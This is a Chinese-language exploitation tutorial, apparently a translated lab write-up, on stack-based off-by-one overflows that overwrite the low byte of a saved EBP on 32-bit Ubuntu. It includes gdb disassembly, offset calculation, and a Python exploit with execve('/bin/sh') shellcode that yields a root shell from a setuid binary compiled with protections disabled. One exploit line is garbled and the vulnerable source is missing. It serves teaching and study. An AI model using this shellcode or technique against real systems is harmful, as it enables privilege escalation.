Off-By-One 漏洞(基于栈)

优质
小牛编辑
123浏览
2023-12-01

虚拟机安装:Ubuntu 12.04(x86)

什么是off by one?

将源字符串复制到目标缓冲区可能会导致off by one

1、源字符串长度等于目标缓冲区长度。

当源字符串长度等于目标缓冲区长度时,单个字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低有效位(LSB),这可能导致任意的代码执行。

一如既往的充分的定义,让我们来看看off by one的漏洞代码!

漏洞代码:

编译命令

  1. #echo 0 > /proc/sys/kernel/randomize_va_space
  2. $gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c
  3. $sudo chown root vuln
  4. $sudo chgrp root vuln
  5. $sudo chmod +s vuln

上述漏洞代码的第[2]行是可能发生off by one溢出的地方。目标缓冲区长度为256,因此长度为256字节的源字符串可能导致任意代码执行。

如何执行任意代码执行?

反汇编:

  1. (gdb) disassemble main
  2. Dump of assembler code for function main:
  3. //Function Prologue
  4. 0x08048497 <+0>: push %ebp //backup caller's ebp
  5. 0x08048498 <+1>: mov %esp,%ebp //set callee's (main) ebp to esp
  6. 0x0804849a <+3>: push %edi //backup EDI
  7. 0x0804849b <+4>: sub $0x8,%esp //create stack space
  8. 0x0804849e <+7>: mov 0xc(%ebp),%eax //eax = argv
  9. 0x080484a1 <+10>: add $0x4,%eax //eax = &argv[1]
  10. 0x080484a4 <+13>: mov (%eax),%eax //eax = argv[1]
  11. 0x080484a6 <+15>: movl $0xffffffff,-0x8(%ebp) //String Length Calculation -- Begins here
  12. 0x080484ad <+22>: mov %eax,%edx
  13. 0x080484af <+24>: mov $0x0,%eax
  14. 0x080484b4 <+29>: mov -0x8(%ebp),%ecx
  15. 0x080484b7 <+32>: mov %edx,%edi
  16. 0x080484b9 <+34>: repnz scas %es:(%edi),%al
  17. 0x080484bb <+36>: mov %ecx,%eax
  18. 0x080484bd <+38>: not %eax
  19. 0x080484bf <+40>: sub $0x1,%eax //String Length Calculation -- Ends here
  20. 0x080484c2 <+43>: cmp $0x100,%eax //eax = strlen(argv[1]). if eax > 256
  21. 0x080484c7 <+48>: jbe 0x80484e9 <main+82> //Jmp if NOT greater
  22. 0x080484c9 <+50>: movl $0x80485e0,(%esp) //If greater print error string,flush and return.
  23. 0x080484d0 <+57>: call 0x8048380 <puts@plt>
  24. 0x080484d5 <+62>: mov 0x804a020,%eax
  25. 0x080484da <+67>: mov %eax,(%esp)
  26. 0x080484dd <+70>: call 0x8048360 <fflush@plt>
  27. 0x080484e2 <+75>: mov $0x1,%eax
  28. 0x080484e7 <+80>: jmp 0x80484fe <main+103>
  29. 0x080484e9 <+82>: mov 0xc(%ebp),%eax //argv[1] <= 256, eax = argv
  30. 0x080484ec <+85>: add $0x4,%eax //eax = &argv[1]
  31. 0x080484ef <+88>: mov (%eax),%eax //eax = argv[1]
  32. 0x080484f1 <+90>: mov %eax,(%esp) //foo arg
  33. 0x080484f4 <+93>: call 0x8048464 //call foo
  34. 0x080484f9 <+98>: mov $0x0,%eax //return value
  35. //Function Epilogue
  36. 0x08048501 <+106>: pop %edi //restore EDI
  37. 0x08048502 <+107>: pop %ebp //restore EBP
  38. 0x08048503 <+108>: ret //return
  39. End of assembler dump.
  40. (gdb) disassemble foo
  41. Dump of assembler code for function foo:
  42. //Function prologue
  43. 0x08048464 <+0>: push %ebp //backup caller's (main) ebp
  44. 0x08048465 <+1>: mov %esp,%ebp //set callee's (foo) ebp to esp
  45. 0x08048467 <+3>: sub $0x4,%esp //create stack space
  46. 0x0804846a <+6>: mov 0x8(%ebp),%eax //foo arg
  47. 0x0804846d <+9>: mov %eax,(%esp) //bar arg = foo arg
  48. //Function Epilogue
  49. 0x08048475 <+17>: leave //unwind stack space + restore ebp
  50. 0x08048476 <+18>: ret //return
  51. End of assembler dump.
  52. (gdb) disassemble bar
  53. Dump of assembler code for function bar:
  54. //Function Prologue
  55. 0x08048477 <+0>: push %ebp //backup caller's (foo) ebp
  56. 0x08048478 <+1>: mov %esp,%ebp //set callee's (bar) ebp to esp
  57. 0x0804847a <+3>: sub $0x108,%esp //create stack space
  58. 0x08048480 <+9>: mov 0x8(%ebp),%eax //bar arg
  59. 0x08048483 <+12>: mov %eax,0x4(%esp) //strcpy arg2
  60. 0x08048487 <+16>: lea -0x100(%ebp),%eax //buf
  61. 0x0804848d <+22>: mov %eax,(%esp) //strcpy arg1
  62. 0x08048490 <+25>: call 0x8048370 <strcpy@plt> //call strcpy
  63. //Function Epilogue
  64. 0x08048495 <+30>: leave //unwind stack space + restore ebp
  65. 0x08048496 <+31>: ret //return
  66. End of assembler dump.
  67. (gdb)

堆栈布局

当我们已经知道256字节的用户输入,用空字节可以覆盖foo的EBP的LSB。所以当foo的存储在目标缓冲区buf之上的EBP被一个NULL字节所覆盖时,ebp从0xbffff2d8变为0xbffff200。从堆栈布局我们可以看到堆栈位置0xbffff200是目标缓冲区buf的一部分,由于用户输入被复制到该目标缓冲区,攻击者可以控制这个堆栈位置(0xbffff200),因此他控制指令指针(eip )使用他可以实现任意代码执行。让我们通过发送一系列256的“A”来测试它。

测试步骤1:EBP是否覆盖,从而可能覆盖返回地址?

以上输出显示由于EBP覆盖,我们已经控制指令指针(EIP)。

测试步骤2:距离目标缓冲区的偏移是多少?

现在,我们可以从目标缓冲区buf的起始位置开始找到偏移量,我们需要替换我们的返回地址。记住在off by one 漏洞中,我们不会覆盖堆栈中存储的实际返回地址(像我们在基于堆栈的缓冲区溢出中),而是攻击者控制的目标缓冲区buf内的4字节内存区域将被视为返回地址位置(在off by one溢出之后)。因此,我们需要找到这个返回地址位置偏移量(从buf),它是目标缓冲区buf本身的一部分。不是很清楚,但是没有问题继续阅读!

现在让我们尝试从文本段地址0x08048490开始了解CPU的执行情况。

  • 0x08048490 - 调用strcpy - 此指令执行导致逐个溢出,因此foo的EBP值(存储在堆栈位置0xbffff2cc)从0xbffff2d8更改为0xbffff200
  • 0x08048495 - leave - leave指令解开此函数的堆栈空间并恢复ebp。
  1. leave: mov ebp, esp; //unwind stack space by setting esp to ebp.
  2. pop ebp; //restore ebp
  3. *** As per our example: ***
  4. leave: mov ebp, esp; //esp = ebp = 0xbffff2cc
  • 0x08048495 - ret - 返回到foo的指令0x08048475
  • 0x08048475 - leave - 指令解除此函数的堆栈空间并恢复ebp。
  1. *** As per our example: ***
  2. leave: mov ebp, esp; //esp = ebp = 0xbffff200 (As part of unwinding esp is shifted down instead of up!!)
  3. pop ebp; //ebp = 0x41414141; esp = 0xbffff204
  • 0x08048476 - ret - 返回到位于ESP(0xbffff204)的指令。现在,ESP指向攻击者控制的缓冲区,因此攻击者可以返回到任何要实现任意代码执行的位置。

现在让我们回到我们原始的测试,找到从目标缓冲区buf到返回地址的偏移量。如我们的堆栈布局图所示,buf位于0xbffff158,在CPU执行后,我们知道目标缓冲区buf中的返回地址位于0xbffff204。因此,从buf到返回地址的偏移量为0xbffff204 - 0xbffff158 = 0xac。因此,用户输入的形式"A"* 172 +"B"* 4 +"A"* 80,用BBBB覆盖EIP。

以上输出显示攻击者可以控制返回地址。返回地址位于buf的偏移量(0xac)处。有了这些信息,我们可以编写一个漏洞利用程序来实现任意的代码执行。

  1. #exp.py
  2. #!/usr/bin/env python
  3. import struct
  4. from subprocess import call
  5. #Spawn a shell.
  6. #execve(/bin/sh) Size- 28 bytes.
  7. scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90"
  8. ret_addr = 0xbffff218
  9. #endianess conversion
  10. def conv(num):
  11. return struct.pack("<I",numturn Address + NOP's + Shellcode + Junk
  12. buf = "A" * 172
  13. buf += conv(ret_addr)
  14. buf += "\x90" * 30
  15. buf += scode
  16. buf += "A" * 22
  17. print "Calling vulnerable program"
  18. call(["./vuln", buf])

执行上面的exploit程序给我们root shell,如下所示:

  1. $ python exp.py
  2. Calling vulnerable program
  3. # id
  4. uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
  5. # exit
  6. $

off by one看起来像一个愚蠢的bug,它令人奇怪的地方是开发人员造成这么小的错误可能会导致任意代码执行。off by one总是导致任意代码执行吗?

如果调用者的EBP不存在于目的地缓冲区之上怎么办?

这个问题的答案很简单,我们不能用EBP覆写技术来利用它!(但是一些其他的利用技术可能是可能的,因为代码中存在一个bug)

在什么情况下,调用者的EBP不会出现在目标缓冲区上方?

情况1:目标缓冲区之上可能存在其他局部变量。

因此,在这些情况下,在缓冲区buf和EBP的结尾之间找到了一个局部变量,它不允许我们覆盖EBP的LSB!

情况2:对齐空间 - 默认情况下,gcc将堆栈空间对齐为16字节边界,即在创建堆栈空间之前)ESP的最后4位是0并且使用and指令,如下面的函数反汇编所示。

  1. Dump of assembler code for function main:
  2. 0x08048497 <+0>: push %ebp
  3. 0x08048498 <+1>: mov %esp,%ebp
  4. 0x0804849a <+3>: push %edi
  5. 0x0804849b <+4>: and $0xfffffff0,%esp //Stack space aligned to 16 byte boundary
  6. 0x0804849e <+7>: sub $0x20,%esp //create stack space
  7. ...

因此,在这些情况下,在缓冲区buf和EBP的结尾之间找到一个对齐空间(最多12个字节),这不允许我们覆盖EBP的LSB!

因为这个原因,我们在编译我们漏洞代码(vuln.c)时添加了gcc参数-mpreferred-stack-boundary = 2!

请求帮助!!:如果在创建堆栈空间之前,ESP已经在16字节边界层上对齐了?在这种情况下,即使程序使用gcc的16字节的默认堆栈边界进行编译,EBP覆写也是可行的。但到目前为止,我没有创建这样一个工作代码。在我创建堆栈空间之前的所有尝试中,ESP在16字节边界上不对齐,无论如何谨慎地创建我的堆栈内容,gcc为本地变量添加了一些额外的空间,这使得ESP对齐不到16字节边界。如果任何人有工作代码或有一个答案:为什么ESP总是不对齐,请让我知道。